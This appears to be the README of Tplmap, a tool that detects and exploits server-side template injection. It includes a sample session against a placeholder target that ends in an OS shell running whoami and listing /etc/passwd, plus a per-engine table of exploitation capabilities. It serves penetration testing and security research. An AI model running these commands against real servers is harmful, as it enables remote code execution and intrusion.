Tplmap (short for Template Mapper) is a tool that automate the process of detecting and exploiting Server-Side Template Injection vulnerabilities (SSTI).
This can be used by developers, penetration testers, and security researchers to detect and exploit vulnerabilities related to the template injection attacks.
The technique can be used to compromise web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.
The modular approach allows any contributor to extend the support to other templating engines or introduce new exploitation techniques. The majority of the techniques currently implemented came from the amazing research done by James Kett, PortSwigger.
The application is currently under heavy development and misses some functionalities.
$ ./tplmap.py -u 'http://www.target.com/app?id=*'
[+] Found placeholder in GET parameter 'id'
[+] Testing reflection on Mako engine with tag ${} and variances
[+] Testing reflection on Jinja2 engine with tag {{}} and variances
[+] Testing reflection on Twig engine with tag {{}} and variances
[+] Testing reflection on Smarty engine with tag {} and variances
[+] Testing reflection on Freemarker engine with tag ${} and variances
[+] Testing reflection on Velocity engine with tag #set($p=)\n$p\n
[+] Detected unreliable reflection with tag #set($p=)\n$p\n, continuing
[+] Confirmed reflection with tag '\n= \n' by Jade plugin
[+] Tplmap identified the following injection point:
Engine: Jade
Template: \n= \n
Context: text
OS: linux
Capabilities:
Code evaluation: yes, javascript code
OS command execution: yes
File write: yes
File read: yes
[+] Rerun tplmap providing one of the following options:
--os-cmd or --os-shell to access the underlying operating system
--upload LOCAL REMOTE to upload files to the server
--download REMOTE LOCAL to download remote files
$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.
linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r-- 1 root wheel 5925 16 Sep 2015 /etc/passwd
linux $
| Template engine | Detection | command execution | Code evaluation | File read | File write |
|---|---|---|---|---|---|
| Mako | yes | yes | python | yes | yes |
| Jinja2 | yes | yes | python | yes | yes |
| Jade | yes | yes | javascript | yes | yes |
| Smarty (unsecured) | yes | yes | PHP | yes | yes |
| Freemarker | yes | yes | no | yes | yes |
| Velocity | yes | no | no | no | no |
| Twig | yes | no | no | no | no |
| Smarty (secured) | yes | no | no | no | no |